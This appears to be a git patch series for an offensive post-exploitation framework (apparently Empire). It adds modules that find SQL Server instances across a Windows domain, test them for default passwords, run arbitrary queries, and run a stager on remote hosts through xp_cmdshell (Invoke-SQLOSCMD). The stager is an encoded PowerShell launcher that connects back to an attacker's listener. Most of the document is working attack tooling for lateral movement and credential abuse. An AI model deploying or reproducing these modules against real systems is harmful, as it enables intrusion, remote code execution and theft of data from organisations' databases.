'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Username' : { + 'Description' : 'SQL Server or domain account to authenticate with.', + 'Required' : False, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'SQL Server or domain account password to authenticate with.', + 'Required' : False, + 'Value' : '' + }, + 'Instance' : { + 'Description' : 'SQL Server instance to connection to.', + 'Required' : False, + 'Value' : '' + }, + 'Query' : { + 'Description' : 'Query to be executed on the SQL Server.', + 'Required' : True, + 'Value' : '' + } + } + + self.mainMenu = mainMenu + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + username = self.options['Username']['Value'] + password = self.options['Password']['Value'] + instance = self.options['Instance']['Value'] + query = self.options['Query']['Value'] + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLQuery.ps1" + script = "" + try: + with open(moduleSource, 'r') as source: + script = source.read() + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + script += " Get-SQLQuery" + if username != "": + script += " -Username "+username + if password != "": + script += " -Password "+password + if instance != "": + script += " -Instance "+instance + script += " -Query "+"\'"+query+"\'" + + return script diff --git a/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py b/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py new file mode 100644 index 0000000..8478b8d --- /dev/null +++ b/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py @@ -0,0 +1,131 @@ +from lib.common import helpers +class Module: + def __init__(self, mainMenu, params=[]): + self.info = { + 'Name': 'Invoke-SQLOSCMD', + 'Author': ['@nullbind', '@0xbadjuju'], + 'Description': ('Executes a command or stager on remote hosts using xp_cmdshell.'), + 'Background' : True, + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + 'OpsecSafe' : True, + 'Language' : 'powershell', + 'MinPSVersion' : '2', + 'MinLanguageVersion' : '2', + + 'Comments': [] + } + self.options = { + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'CredID' : { + 'Description' : 'CredID from the store to use.', + 'Required' : False, + 'Value' : '' + }, + 'Instance' : { + 'Description' : 'Host[s] to execute the stager on, comma separated.', + 'Required' : True, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : False, + 'Value' : '' + }, + 'Command' : { + 'Description' : 'Custom command to execute on remote hosts.', + 'Required' : False, + 'Value' : '' + }, + 'UserName' : { + 'Description' : '[domain\]username to use to execute command.', + 'Required' : False, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'Password to use to execute command.', + 'Required' : False, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + self.mainMenu = mainMenu + for param in params: + option, value = param + if option in self.options: + self.options[option]['Value'] = value + def generate(self): + + credID = self.options["CredID"]['Value'] + if credID != "": + if not self.mainMenu.credentials.is_credential_valid(credID): + print helpers.color("[!] CredID is invalid!") + return "" + (credID, credType, domainName, username, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0] + if domainName != "": + self.options["UserName"]['Value'] = str(domainName) + "\\" + str(username) + else: + self.options["UserName"]['Value'] = str(username) + if password != "": + self.options["Password"]['Value'] = password + + listenerName = self.options['Listener']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + instance = self.options['Instance']['Value'] + command = self.options['Command']['Value'] + username = self.options['UserName']['Value'] + password = self.options['Password']['Value'] + + + moduleSource = self.mainMenu.installPath + "data/module_source/lateral_movement/Invoke-SQLOSCmd.ps1" + moduleCode = "" + try: + with open(moduleSource, 'r') as source: + moduleCode = source.read() + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + script = moduleCode + + + if command == "": + if not self.mainMenu.listeners.is_listener_valid(listenerName): + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + else: + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + if launcher == "": + return "" + else: + command = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher + + + script += "Invoke-SQLOSCmd -Instance \"%s\" -Command \"%s\"" % (instance, command) + + if username != "": + script += " -UserName "+username + if password != "": + script += " -Password "+password + return script diff --git a/lib/modules/powershell/recon/get_sql_server_login_default_pw.py b/lib/modules/powershell/recon/get_sql_server_login_default_pw.py new file mode 100644 index 0000000..1b92afc --- /dev/null +++ b/lib/modules/powershell/recon/get_sql_server_login_default_pw.py @@ -0,0 +1,98 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-SQLServerLoginDefaultPw', + 'Author': ['@_nullbind', '@0xbadjuju'], + 'Description': ('Based on the instance name, test if SQL Server ' + 'is configured with default passwords.'), + 'Background' : True, + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + 'OpsecSafe' : True, + 'Language' : 'powershell', + 'MinPSVersion' : '2', + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1', + 'https://github.com/pwnwiki/pwnwiki.github.io/blob/master/tech/db/mssql.md' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Username' : { + 'Description' : 'SQL Server or domain account to authenticate with. Only used for CheckAll', + 'Required' : False, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'SQL Server or domain account password to authenticate with. Only used for CheckAll', + 'Required' : False, + 'Value' : '' + }, + 'Instance' : { + 'Description' : 'SQL Server instance to connection to.', + 'Required' : False, + 'Value' : '' + }, + 'CheckAll' : { + 'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain.', + 'Required' : False, + 'Value' : '' + } + } + + self.mainMenu = mainMenu + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + username = self.options['Username']['Value'] + password = self.options['Password']['Value'] + instance = self.options['Instance']['Value'] + check_all = self.options['CheckAll']['Value'] + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1" + script = "" + try: + with open(moduleSource, 'r') as source: + script = source.read() + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + if check_all: + auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1" + try: + with open(auxModuleSource, 'r') as auxSource: + auxScript = auxSource.read() + script += " " + auxScript + except: + print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource)) + script += " Get-SQLInstanceDomain " + if username != "": + script += " -Username "+username + if password != "": + script += " -Password "+password + script += " | Select Instance | " + script += " Get-SQLServerLoginDefaultPw" + if instance != "" and not check_all: + script += " -Instance "+instance + return script \ No newline at end of file diff --git a/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py b/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py new file mode 100644 index 0000000..5ac139d --- /dev/null +++ b/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py @@ -0,0 +1,118 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name' : 'Get-SQLInstanceDomain', + 'Author': ['@_nullbind', '@0xbadjuju'], + 'Description': ('Returns a list of SQL Server instances discovered by querying ' + 'a domain controller for systems with registered MSSQL service ' + 'principal names. The function will default to the current user\'s ' + 'domain and logon server, but an alternative domain controller ' + 'can be provided. UDP scanning of management servers is optional.'), + 'Background' : True, + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + 'OpsecSafe' : True, + 'Language' : 'powershell', + 'MinPSVersion' : '2', + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : "Domain controller for Domain and Site that you want to query against.", + 'Required' : False, + 'Value' : '' + }, + 'ComputerName' : { + 'Description' : 'Computer name to filter for.', + 'Required' : False, + 'Value' : '' + }, + 'DomainServiceAccount' : { + 'Description' : 'Domain account to filter for.', + 'Required' : False, + 'Value' : '' + }, + 'CheckMgmt' : { + 'Description' : 'Performs UDP scan of servers managing SQL Server clusters.', + 'Required' : False, + 'Value' : 'False' + }, + 'UDPTimeOut' : { + 'Description' : 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.', + 'Required' : False, + 'Value' : '3' + }, + 'Username' : { + 'Description' : 'SQL Server or domain account to authenticate with.', + 'Required' : False, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'SQL Server or domain account password to authenticate with.', + 'Required' : False, + 'Value' : '' + } + } + + self.mainMenu = mainMenu + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + domainController = self.options['DomainController']['Value'] + computerName = self.options['ComputerName']['Value'] + domainAccount = self.options['DomainServiceAccount']['Value'] + checkMgmt = self.options['CheckMgmt']['Value'] + udpTimeOut = self.options['UDPTimeOut']['Value'] + username = self.options['Username']['Value'] + password = self.options['Password']['Value'] + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1" + script = "" + try: + with open(moduleSource, 'r') as source: + script = source.read() + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + script += " Get-SQLInstanceDomain" + if username != "": + script += " -Username " + username + if password != "": + script += " -Password " + password + if domainController != "": + script += " -DomainController "+domainController + if computerName != "": + script += " -ComputerName "+computerName + if domainAccount != "": + script += " -DomainAccount "+domainAccount + if checkMgmt.lower() != "false": + script += " -CheckMgmt" + if udpTimeOut != "": + script += " -UDPTimeOut "+udpTimeOut + + return script diff --git a/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py b/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py new file mode 100644 index 0000000..e65c388 --- /dev/null +++ b/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py @@ -0,0 +1,101 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-SQLServerInfo', + 'Author': ['@_nullbind', '@0xbadjuju'], + 'Description': ('Returns basic server and user information from target SQL Servers.'), + 'Background' : True, + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + 'OpsecSafe' : True, + 'Language' : 'powershell', + 'MinPSVersion' : '2', + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Username' : { + 'Description' : 'SQL Server or domain account to authenticate with.', + 'Required' : False, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'SQL Server or domain account password to authenticate with.', + 'Required' : False, + 'Value' : '' + }, + 'Instance' : { + 'Description' : 'SQL Server instance to connection to.', + 'Required' : False, + 'Value' : '' + }, + 'CheckAll' : { + 'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain', + 'Required' : False, + 'Value' : '' + } + } + + self.mainMenu = mainMenu + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + username = self.options['Username']['Value'] + password = self.options['Password']['Value'] + instance = self.options['Instance']['Value'] + check_all = self.options['CheckAll']['Value'] + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-SQLServerInfo.ps1" + script = "" + try: + with open(moduleSource, 'r') as source: + script = source.read() + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + if check_all: + auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1" + try: + with open(auxModuleSource, 'r') as auxSource: + auxScript = auxSource.read() + script += " " + auxScript + except: + print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource)) + script += " Get-SQLInstanceDomain " + if username != "": + script += " -Username "+username + if password != "": + script += " -Password "+password + script += " | " + script += " Get-SQLServerInfo" + if username != "": + script += " -Username "+username + if password != "": + script += " -Password "+password + if instance != "" and not check_all: + script += " -Instance "+instance + + return script From ab0a94a13a8acb9622df2aeea1f53fc57ae4fc8a Mon Sep 17 00:00:00 2001 From: Alexander Date: Tue, 17 Jan 2017 10:43:39 -0600 Subject: [PATCH 2/3] Removed newlines added for Empire v1 --- .../collection/Get-SQLColumnSampleData.ps1 | 34 ++++++++--------- .../module_source/collection/Get-SQLQuery.ps1 | 2 +- .../recon/Get-SQLServerLoginDefaultPw.ps1 | 22 +++++------ .../Get-SQLInstanceDomain.ps1 | 38 +++++++++---------- .../Get-SQLServerInfo.ps1 | 38 +++++++++---------- 5 files changed, 67 insertions(+), 67 deletions(-) diff --git a/data/module_source/collection/Get-SQLColumnSampleData.ps1 b/data/module_source/collection/Get-SQLColumnSampleData.ps1 index 704ef67..9704282 100644 --- a/data/module_source/collection/Get-SQLColumnSampleData.ps1 +++ b/data/module_source/collection/Get-SQLColumnSampleData.ps1 @@ -877,9 +877,9 @@ Function Get-SQLColumnSampleData { "$Instance : CONNECTION FAILED" Return } else { - "$Instance : START SEARCH DATA BY COLUMN `n" - "$Instance : - Connection Success. `n" - "$Instance : - Searching for column names that match criteria... `n" + "$Instance : START SEARCH DATA BY COLUMN " + "$Instance : - Connection Success. " + "$Instance : - Searching for column names that match criteria... " if($NoDefaults) { $Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -ColumnNameSearch $Keywords -NoDefaults } else { @@ -898,9 +898,9 @@ Function Get-SQLColumnSampleData { $Query = "USE $sDatabaseName; SELECT TOP $SampleSize [$sColumnName] FROM $AffectedTable WHERE [$sColumnName] is not null" $QueryRowCount = "USE $sDatabaseName; SELECT count(CAST([$sColumnName] as VARCHAR(200))) as NumRows FROM $AffectedTable WHERE [$sColumnName] is not null" - "$Instance : - Table match: $AffectedTable `n" - "$Instance : - Column match: $AffectedColumn `n" - "$Instance : - Selecting $SampleSize rows of data sample from column $AffectedColumn. `n" + "$Instance : - Table match: $AffectedTable " + "$Instance : - Column match: $AffectedColumn " + "$Instance : - Selecting $SampleSize rows of data sample from column $AffectedColumn. " $RowCountOut = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Query $QueryRowCount $RowCount = $RowCountOut.NumRows @@ -910,20 +910,20 @@ Function Get-SQLColumnSampleData { } } } else { - "$Instance : - No columns were found that matched the search. `n" + "$Instance : - No columns were found that matched the search. " } - "$Instance : END SEARCH DATA BY COLUMN `n`n" + "$Instance : END SEARCH DATA BY COLUMN " } End { ForEach ($Row in $TblData) { - "ComputerName : " + $Row.ComputerName + "`n" - "Instance : " + $Row.Instance + "`n" - "Database : " + $Row.Database + "`n" - "Schema : " + $Row.Schema + "`n" - "Table : " + $Row.Table + "`n" - "Column : " + $Row.Column + "`n" - "Sample : " + $Row.Sample + "`n" - "RowCount : " + $Row.RowCount + "`n" - "`n" + "ComputerName : " + $Row.ComputerName + "Instance : " + $Row.Instance + "Database : " + $Row.Database + "Schema : " + $Row.Schema + "Table : " + $Row.Table + "Column : " + $Row.Column + "Sample : " + $Row.Sample + "RowCount : " + $Row.RowCount + "" } } } \ No newline at end of file diff --git a/data/module_source/collection/Get-SQLQuery.ps1 b/data/module_source/collection/Get-SQLQuery.ps1 index 32aec11..7b6f9eb 100644 --- a/data/module_source/collection/Get-SQLQuery.ps1 +++ b/data/module_source/collection/Get-SQLQuery.ps1 @@ -94,7 +94,7 @@ Function Get-SQLQuery { $Instance = $ConnectionString.split(';')[0].split('=')[1] if($Query) { $Connection.Open() - "$Instance : Connection Success.`n" + "$Instance : Connection Success." $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) try { $Results = $Command.ExecuteReader() diff --git a/data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1 b/data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1 index 64232ab..ac9752e 100644 --- a/data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1 +++ b/data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1 @@ -549,22 +549,22 @@ Function Get-SQLServerLoginDefaultPw { # Bypass ports and default instances if (-not $TargetInstance) { - "$Instance : No instance match found. `n" + "$Instance : No instance match found." return } $TblResultsTemp = $DefaultPasswords | Where-Object { $_.instance -eq "$TargetInstance"} if ($TblResultsTemp) { - "$Instance : Confirmed instance match. `n" + "$Instance : Confirmed instance match." } else { - "$Instance : No instance match found. `n" + "$Instance : No instance match found." return } $CurrentUsername = $TblResultsTemp.username $CurrentPassword = $TblResultsTemp.password $LoginTest = Get-SQLServerInfo -Instance $instance -Username $CurrentUsername -Password $CurrentPassword -SuppressVerbose if ($LoginTest) { - "$Instance : Confirmed default credentials - $CurrentUsername/$CurrentPassword `n`n" + "$Instance : Confirmed default credentials - $CurrentUsername/$CurrentPassword" $SysadminStatus = $LoginTest | select IsSysadmin -ExpandProperty IsSysadmin $TblResults.Rows.Add( $ComputerName, @@ -574,16 +574,16 @@ Function Get-SQLServerLoginDefaultPw { $SysadminStatus ) | Out-Null } else { - "$Instance : No credential matches were found. `n" + "$Instance : No credential matches were found." } } End { ForEach ($Result in $TblResults) { - "Computer : " + $Result.Computer + "`n" - "Instance : " + $Result.Instance + "`n" - "Username : " + $Result.Username + "`n" - "Password : " + $Result.Password + "`n" - "IsSysAdmin : " + $Result.IsSysAdmin + "`n" - "`n" + "Computer : " + $Result.Computer + "Instance : " + $Result.Instance + "Username : " + $Result.Username + "Password : " + $Result.Password + "IsSysAdmin : " + $Result.IsSysAdmin + "" } } } \ No newline at end of file diff --git a/data/module_source/situational_awareness/Get-SQLInstanceDomain.ps1 b/data/module_source/situational_awareness/Get-SQLInstanceDomain.ps1 index 9e76887..b479fb9 100644 --- a/data/module_source/situational_awareness/Get-SQLInstanceDomain.ps1 +++ b/data/module_source/situational_awareness/Get-SQLInstanceDomain.ps1 @@ -189,10 +189,10 @@ Function Get-SQLInstanceDomain { $null = $TblSQLServerSpns.Columns.Add('LastLogon') $null = $TblSQLServerSpns.Columns.Add('Description') } Process { - "Grabbing SPNs from the domain for SQL Servers (MSSQL*)...`n" + "Grabbing SPNs from the domain for SQL Servers (MSSQL*)..." $TblSQLServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSSQL*' -SuppressVerbose | ? -FilterScript { $_.service -like 'MSSQL*' } - "Parsing SQL Server instances from SPNs...`n" + "Parsing SQL Server instances from SPNs..." $TblSQLServers | % -Process { $Spn = $_.Spn $Instance = $Spn.split('/')[1].split(':')[1] @@ -215,15 +215,15 @@ Function Get-SQLInstanceDomain { [string]$_.Description) } if($CheckMgmt) { - "Grabbing SPNs from the domain for Servers managing SQL Server clusters (MSServerClusterMgmtAPI)...`n" + "Grabbing SPNs from the domain for Servers managing SQL Server clusters (MSServerClusterMgmtAPI)..." $TblMgmtServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSServerClusterMgmtAPI' -SuppressVerbose | ? -FilterScript { $_.ComputerName -like '*.*' } | select -Property ComputerName -Unique | sort -Property ComputerName - "Performing a UDP scan of management servers to obtain managed SQL Server instances...`n" + "Performing a UDP scan of management servers to obtain managed SQL Server instances..." $TblMgmtSQLServers = $TblMgmtServers | select -Property ComputerName -Unique | Get-SQLInstanceScanUDP -UDPTimeOut $UDPTimeOut } } End { if($CheckMgmt) { - "Parsing SQL Server instances from the UDP scan...`n" + "Parsing SQL Server instances from the UDP scan..." $Tbl1 = $TblMgmtSQLServers | Select-Object -Property ComputerName, Instance | Sort-Object -Property ComputerName, Instance @@ -232,27 +232,27 @@ Function Get-SQLInstanceDomain { Sort-Object -Property ComputerName, Instance $Tbl3 = $Tbl1 + $Tbl2 $InstanceCount = $Tbl3.rows.count - "$InstanceCount instances were found.`n`n" + "$InstanceCount instances were found." ForEach ($Row in $Tbl3){ - "ComputerName : " + $Row.ComputerName + "`n" - "Instance : " + $Row.Instance + "`n" - "`n" + "ComputerName : " + $Row.ComputerName + "Instance : " + $Row.Instance + "" } $Tbl3 } else { $InstanceCount = $TblSQLServerSpns.rows.count "$InstanceCount instances were found." ForEach ($Row in $TblSQLServerSpns) { - "ComputerName : " + $Row.ComputerName + "`n" - "Instance : " + $Row.Instance + "`n" - "DomainAccountSid : " + $Row.DomainAccountSid + "`n" - "DomainAccount : " + $Row.DomainAccount + "`n" - "DomainAccountCn : " + $Row.DomainAccountCn + "`n" - "Service : " + $Row.Service + "`n" - "Spn : " + $Row.Spn + "`n" - "LastLogon : " + $Row.LastLogon + "`n" - "Description : " + $Row.Description + "`n" - "`n" + "ComputerName : " + $Row.ComputerName + "Instance : " + $Row.Instance + "DomainAccountSid : " + $Row.DomainAccountSid + "DomainAccount : " + $Row.DomainAccount + "DomainAccountCn : " + $Row.DomainAccountCn + "Service : " + $Row.Service + "Spn : " + $Row.Spn + "LastLogon : " + $Row.LastLogon + "Description : " + $Row.Description + "" } $TblSQLServerSpns } diff --git a/data/module_source/situational_awareness/Get-SQLServerInfo.ps1 b/data/module_source/situational_awareness/Get-SQLServerInfo.ps1 index 6cd50c8..47c219c 100644 --- a/data/module_source/situational_awareness/Get-SQLServerInfo.ps1 +++ b/data/module_source/situational_awareness/Get-SQLServerInfo.ps1 @@ -400,25 +400,25 @@ Function Get-SQLServerInfo { $TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password $TblServerInfo = $TblServerInfo + $TblServerInfoTemp ForEach ($Row in $TblServerInfo) { - "ComputerName : " + $Row.ComputerName + "`n" - "Instance : " + $Row.Instance + "`n" - "DomainName : " + $Row.DomainName + "`n" - "ServiceName : " + $Row.ServiceName + "`n" - "ServiceAccount : " + $Row.ServiceAccount + "`n" - "AuthenticationMode : " + $Row.AuthenticationMode + "`n" - "Clustered : " + $Row.Clustered + "`n" - "SQLServerVersionNumber : " + $Row.SQLServerVersionNumber + "`n" - "SQLServerMajorVersion : " + $Row.SQLServerMajorVersion + "`n" - "SQLServerEdition : " + $Row.SQLServerEdition + "`n" - "SQLServerServicePack : " + $Row.SQLServerServicePack + "`n" - "OSArchitecture : " + $Row.OSArchitecture + "`n" - "OsMachineType : " + $Row.OsMachineType + "`n" - "OSVersionName : " + $Row.OSVersionName + "`n" - "OsVersionNumber : " + $Row.OsVersionNumber + "`n" - "Currentlogin : " + $Row.Currentlogin + "`n" - "IsSysadmin : " + $IsSysadmin.IsSysadmin + "`n" - "ActiveSessions : " + $Row.ActiveSessions + "`n" - "`n" + "ComputerName : " + $Row.ComputerName + "Instance : " + $Row.Instance + "DomainName : " + $Row.DomainName + "ServiceName : " + $Row.ServiceName + "ServiceAccount : " + $Row.ServiceAccount + "AuthenticationMode : " + $Row.AuthenticationMode + "Clustered : " + $Row.Clustered + "SQLServerVersionNumber : " + $Row.SQLServerVersionNumber + "SQLServerMajorVersion : " + $Row.SQLServerMajorVersion + "SQLServerEdition : " + $Row.SQLServerEdition + "SQLServerServicePack : " + $Row.SQLServerServicePack + "OSArchitecture : " + $Row.OSArchitecture + "OsMachineType : " + $Row.OsMachineType + "OSVersionName : " + $Row.OSVersionName + "OsVersionNumber : " + $Row.OsVersionNumber + "Currentlogin : " + $Row.Currentlogin + "IsSysadmin : " + $IsSysadmin.IsSysadmin + "ActiveSessions : " + $Row.ActiveSessions + "" } } End { From e86d4a2f4ae01f1bc7698fa25d0bfd0a0a6db996 Mon Sep 17 00:00:00 2001 From: Alexander Date: Tue, 17 Jan 2017 10:51:15 -0600 Subject: [PATCH 3/3] Moved file into correct storage location --- .../situational_awareness/{ => network}/Get-SQLInstanceDomain.ps1 | 0 .../situational_awareness/{ => network}/Get-SQLServerInfo.ps1 | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename data/module_source/situational_awareness/{ => network}/Get-SQLInstanceDomain.ps1 (100%) rename data/module_source/situational_awareness/{ => network}/Get-SQLServerInfo.ps1 (100%) diff --git a/data/module_source/situational_awareness/Get-SQLInstanceDomain.ps1 b/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1 similarity index 100% rename from data/module_source/situational_awareness/Get-SQLInstanceDomain.ps1 rename to data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1 diff --git a/data/module_source/situational_awareness/Get-SQLServerInfo.ps1 b/data/module_source/situational_awareness/network/Get-SQLServerInfo.ps1 similarity index 100% rename from data/module_source/situational_awareness/Get-SQLServerInfo.ps1 rename to data/module_source/situational_awareness/network/Get-SQLServerInfo.ps1